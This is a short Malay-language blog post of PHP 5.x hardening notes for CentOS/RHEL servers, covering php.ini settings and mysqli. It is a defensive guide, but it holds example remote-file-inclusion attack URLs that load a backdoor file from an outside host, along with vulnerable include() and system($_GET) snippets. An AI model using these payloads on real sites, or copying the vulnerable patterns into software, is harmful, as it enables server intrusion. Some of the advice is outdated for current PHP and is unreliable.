NEW : PHP Hardening

Lagi kongsi Nota dari Konti Kelas INTANBK.


Inginkan nota lengkap, sila dapatkan di URL berikut :
Rujukan Garis Panduan Operasi CERT Pahang

OS : CentOS / RHEL
Web Apps : PHP 5.2.x / 5.3.x

1) Halang dari PHP Remote File Inclusion
- Ia mampu guna kelemahan php include / require untuk panggil fail backdor dari website luar
- contoh :
include($base_path . "/foo.php"); 
- Kaedah query :

http://vulnerable.com/RFI.php?base_path=http://example.com/badcode?foo= 

- contoh : (use register global)

include($_REQUEST['own_me'] . '/foo.php');

- Kaedah Query :

http://lwn.net/Articles//master.php?root_path=http://webstorch.com//cap.txt?

- Antivirus tak dapat detect virus backdoor dalam linux
- Kaedah nak semak sebarang fail backdoor :
> sort tarikh fail
> cari fail pelik
> cari fail bersaiz pelik

Solution :
Ubah dalam fail /etc/php.ini
allow_url_fopen = Off

2) Safe Mode
- Execute program luar dan display hasilnya dalam sistem
- contoh :
system($_GET('cmd')

Solution :
Ubah dalam /etc/php.ini
Safe_mode = on

* Dalam Joomla akan problem apabila onkan kerana ia gunakan 'mysql_connect' untuk connect ke database. Alternatif gunakan 'mysqli'

3) File Upload
- Ubah kepada berikut :
file_uploads = Off
fck_editor dalam joomla ada vulnerable, alternatif adalah guna ck_editor
- Jika ada guna upload fail, jangan disablekan fungsi ini

4) Short Open Tag
- Contoh :

- Baru :

- ubah kepada berikut :
short_open_tag = Off

5) Error Reporting
- Bagi elakkan paparan error ditunjukkan di sistem. Ia memudahkan hackerz untuk kenalpasti kelemahan pada server dan dapatkan maklumat asas.
- ubah kepada berikut :
display_errors = Off

6) magic_quotes_gpc
- Fungsi ianya on adalah bila ada (') ia akan ganti dengan ('\')
- Sistem yang guna magic quotes sekiranya guna di server yang disetkan off, maka akan jadi vulnerable pula kepada sistem
- PHP 6 dah tiada penggunakan magic quotes
- Ubah kepada berikut :
magic_quotes_gpc = Off

7) Connect to Database
- Default menggunakan mysql_connect
- Kini guna 'mysqli' dan ianya lebih selamat

8) Hide PHP Version (Baru dapat tau ni)
- Default : expose_php = On
- Tukar kepada : expose_php = Off

- Dari Result begini apabila check version : X-Powered-By: PHP/5.1.2-1
- Kepada result begini : X-Powered-By: 12321

Semoga Berjaya!

~ Be a Creator Not a User ~

Ulasan